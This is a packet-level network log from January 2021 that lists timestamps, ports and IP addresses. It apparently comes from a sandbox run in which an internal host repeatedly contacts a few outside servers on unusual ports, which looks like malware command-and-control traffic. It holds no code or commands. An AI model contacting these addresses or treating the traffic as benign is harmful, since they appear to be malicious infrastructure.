Jan 20, 2021 16:15:25.220000029 CET	49290	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.225873947 CET	49290	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.326208115 CET	5353	49287	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:25.326327085 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:25.327579975 CET	443	49288	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:25.327599049 CET	443	49288	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:25.327650070 CET	49288	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:25.327681065 CET	49288	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:25.329813004 CET	49288	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:25.338459015 CET	3388	49291	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:25.338581085 CET	49291	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:25.339379072 CET	49291	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:25.347074032 CET	5353	49282	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:25.384145021 CET	3786	49289	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.384309053 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.417524099 CET	3786	49290	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.417726994 CET	49290	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.423397064 CET	3786	49289	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.429104090 CET	49290	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.429316044 CET	49290	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.441387892 CET	49292	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:25.457180977 CET	443	49288	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:25.508801937 CET	3388	49291	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:25.515625954 CET	3388	49291	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:25.515647888 CET	3388	49291	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:25.515733957 CET	49291	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:25.533639908 CET	49291	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:25.566998959 CET	3786	49289	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.612004995 CET	3786	49290	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.612158060 CET	49290	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.612225056 CET	5353	49287	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:25.659440041 CET	3786	49290	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.703268051 CET	3388	49291	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:25.703694105 CET	3388	49291	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:25.703813076 CET	49291	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:25.708956957 CET	49291	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:25.709130049 CET	49291	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:25.735385895 CET	5353	49292	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:25.735718966 CET	49292	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:25.737020969 CET	49292	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:25.795042992 CET	3786	49290	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.795070887 CET	3786	49290	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.880105019 CET	3388	49291	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:25.880172014 CET	3388	49291	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:25.880316973 CET	49291	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:25.934226036 CET	3786	49289	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.934251070 CET	3786	49289	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.934468031 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.934540033 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.940175056 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:26.030599117 CET	5353	49292	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:26.040766954 CET	5353	49292	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:26.040796041 CET	5353	49292	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:26.040976048 CET	49292	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:26.049889088 CET	3388	49291	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:26.057329893 CET	49292	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:26.062064886 CET	49293	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.123168945 CET	3786	49289	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:26.161027908 CET	3786	49290	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:26.161060095 CET	3786	49290	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:26.161168098 CET	49290	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:26.167820930 CET	49290	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:26.189594030 CET	443	49293	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.189671040 CET	49293	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.190848112 CET	49293	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.199433088 CET	5353	49287	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:26.199459076 CET	5353	49287	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:26.199503899 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:26.199522972 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:26.201689959 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:26.297982931 CET	49294	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.309225082 CET	49295	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:26.318691015 CET	443	49293	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.340131998 CET	443	49293	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.340154886 CET	443	49293	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.340256929 CET	49293	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.346954107 CET	49293	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.350728035 CET	3786	49290	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:26.354531050 CET	5353	49292	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:26.354664087 CET	49292	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:26.358653069 CET	49292	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:26.358705044 CET	49292	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:26.367685080 CET	3388	49291	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:26.367742062 CET	3388	49291	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:26.367803097 CET	49291	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:26.367844105 CET	49291	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:26.371937037 CET	49291	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:26.427110910 CET	443	49294	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.427339077 CET	49294	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.428481102 CET	49294	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.478267908 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:26.479192019 CET	49296	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:26.479254961 CET	49295	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:26.480047941 CET	49295	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:26.482024908 CET	443	49293	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.482196093 CET	49293	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.495959044 CET	5353	49287	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:26.518861055 CET	49293	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.518951893 CET	49293	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.541491985 CET	3388	49291	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:26.555686951 CET	443	49294	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.577426910 CET	443	49294	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.577451944 CET	443	49294	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.577580929 CET	49294	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.577632904 CET	49294	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.591475964 CET	49294	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.646739006 CET	443	49293	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.646886110 CET	49293	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.648809910 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:26.652247906 CET	5353	49292	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:26.652420998 CET	49292	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:26.655653000 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:26.655715942 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:26.655739069 CET	49295	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:26.656322956 CET	49295	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:26.662427902 CET	3786	49296	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:26.663013935 CET	49296	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:26.664099932 CET	49296	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:26.671520948 CET	49295	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:26.709528923 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.725919962 CET	443	49294	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.726036072 CET	49294	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.739671946 CET	49294	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.739921093 CET	49294	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.774693966 CET	443	49293	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.837169886 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.837260962 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.840392113 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:26.840934992 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:26.840993881 CET	49295	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:26.842005968 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.847182989 CET	49295	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:26.847265005 CET	3786	49296	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:26.847430944 CET	49295	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:26.866344929 CET	3786	49296	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:26.866370916 CET	3786	49296	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:26.866472960 CET	49296	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:26.867400885 CET	443	49294	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.867892027 CET	49294	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.875051022 CET	49296	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:26.907783985 CET	443	49294	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.946706057 CET	5353	49292	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:26.969228029 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.991142988 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.991177082 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.991297007 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.991314888 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:26.995407104 CET	443	49294	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:26.995452881 CET	443	49294	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.002826929 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.016187906 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:27.016227961 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:27.017590046 CET	49295	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:27.028820992 CET	443	49293	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.028857946 CET	443	49293	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.028985977 CET	49293	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.034626961 CET	49293	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.064372063 CET	3786	49296	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:27.064491987 CET	49296	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:27.073981047 CET	49296	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:27.074239016 CET	49296	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:27.137255907 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.137448072 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.150268078 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.150475979 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.155410051 CET	49297	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.162167072 CET	443	49293	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.186578989 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:27.186610937 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:27.249567032 CET	443	49294	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.249587059 CET	443	49294	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.249830961 CET	49294	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.255363941 CET	49294	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.257404089 CET	3786	49296	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:27.257510900 CET	49296	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:27.278026104 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.278176069 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.296966076 CET	3786	49296	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:27.317830086 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.369366884 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.382699966 CET	443	49294	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.405694008 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.405715942 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.440807104 CET	3786	49296	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:27.440829039 CET	3786	49296	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:27.445509911 CET	5353	49297	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:27.445590973 CET	49297	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.446644068 CET	49297	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.507158995 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:27.507181883 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:27.507261992 CET	49295	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:27.509538889 CET	49295	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:27.540309906 CET	5353	49292	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:27.540330887 CET	5353	49292	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:27.540381908 CET	49292	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.540417910 CET	49292	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.543116093 CET	49292	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.618310928 CET	49299	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:27.658549070 CET	5353	49298	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:27.658653975 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.659598112 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.661817074 CET	49300	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:27.662004948 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.662019968 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.662072897 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.662264109 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.664441109 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.679169893 CET	3388	49295	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:27.738467932 CET	5353	49297	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:27.748577118 CET	5353	49297	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:27.748601913 CET	5353	49297	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:27.748693943 CET	49297	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.792965889 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:27.805324078 CET	3786	49299	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:27.805452108 CET	49299	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:27.806045055 CET	3786	49296	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:27.806066036 CET	3786	49296	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:27.806132078 CET	49296	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:27.806164980 CET	49296	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:27.816160917 CET	49297	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.818356991 CET	49296	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:27.818542957 CET	49299	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:27.825962067 CET	49301	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.831438065 CET	3388	49300	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:27.831516027 CET	49300	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:27.832113981 CET	49300	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:27.838840008 CET	5353	49292	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:27.948533058 CET	5353	49298	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:27.961734056 CET	5353	49298	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:27.961760998 CET	5353	49298	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:27.961836100 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.961922884 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:27.961937904 CET	49302	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:27.967308998 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.001127005 CET	3786	49299	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:28.001507044 CET	3786	49296	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:28.001526117 CET	3388	49300	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:28.008452892 CET	3388	49300	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:28.008476019 CET	3388	49300	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:28.008579016 CET	49300	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:28.008852959 CET	49300	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:28.015713930 CET	49300	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:28.030052900 CET	3786	49299	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:28.030071974 CET	3786	49299	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:28.030138969 CET	49299	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:28.036252022 CET	49299	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:28.089622974 CET	443	49302	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:28.089703083 CET	49302	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:28.090732098 CET	49302	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:28.111673117 CET	5353	49297	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:28.111792088 CET	49297	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.118460894 CET	5353	49301	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:28.118607044 CET	49301	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.121637106 CET	49301	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.127157927 CET	49297	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.127238035 CET	49297	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.185293913 CET	3388	49300	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:28.185796976 CET	3388	49300	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:28.185920954 CET	49300	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:28.195221901 CET	49300	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:28.195462942 CET	49300	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:28.219707012 CET	443	49302	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:28.227036953 CET	3786	49299	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:28.230151892 CET	49299	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:28.238533020 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:15:28.238579035 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:15:28.240986109 CET	49299	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:28.241166115 CET	443	49302	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:28.241185904 CET	443	49302	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:28.241271973 CET	49302	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:28.241317034 CET	49302	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:28.241645098 CET	49299	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:28.248356104 CET	49302	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:28.260431051 CET	5353	49298	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:28.260530949 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.265589952 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.265830040 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.364885092 CET	3388	49300	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:28.364902973 CET	3388	49300	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:28.364983082 CET	49300	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:28.382781982 CET	443	49302	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:28.385443926 CET	49302	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:28.391310930 CET	49302	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:28.391419888 CET	49302	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:28.414726973 CET	5353	49301	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:28.418497086 CET	5353	49297	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:28.423646927 CET	49297	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.424215078 CET	3786	49299	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:28.424320936 CET	49299	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:28.428231001 CET	5353	49301	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:28.428256989 CET	5353	49301	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:28.428366899 CET	49301	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.458121061 CET	5353	49297	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:28.464411020 CET	3786	49299	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:28.519089937 CET	443	49302	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:28.523695946 CET	49302	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:28.534708023 CET	3388	49300	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:28.555655956 CET	5353	49298	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:28.557667971 CET	49298	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.559683084 CET	443	49302	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:28.607295036 CET	3786	49299	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:28.625010967 CET	49301	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.651763916 CET	443	49302	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:28.651810884 CET	443	49302	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:28.714647055 CET	5353	49297	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:28.846621037 CET	5353	49298	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:28.861531019 CET	3388	49300	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:28.861579895 CET	3388	49300	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:28.861706972 CET	49300	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:28.866574049 CET	49300	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:28.919220924 CET	443	49302	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:28.919248104 CET	443	49302	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:28.919759989 CET	49302	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:28.924819946 CET	49302	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:28.928219080 CET	5353	49301	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:28.930414915 CET	49301	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.966996908 CET	49301	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.967164993 CET	49301	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:28.974225044 CET	3786	49299	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:28.974276066 CET	3786	49299	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:28.975368023 CET	49303	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:28.975589991 CET	49299	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:28.982990980 CET	49299	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:29.036209106 CET	3388	49300	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:29.040376902 CET	49304	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:29.056113958 CET	443	49302	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:29.158036947 CET	3786	49303	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:29.158710957 CET	49303	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:29.165730953 CET	3786	49299	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:29.259761095 CET	5353	49301	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:29.260752916 CET	49301	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:29.302380085 CET	5353	49297	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:29.302423000 CET	5353	49297	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:29.302738905 CET	49297	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:29.329829931 CET	5353	49304	211.110.44.63	192.168.2.22
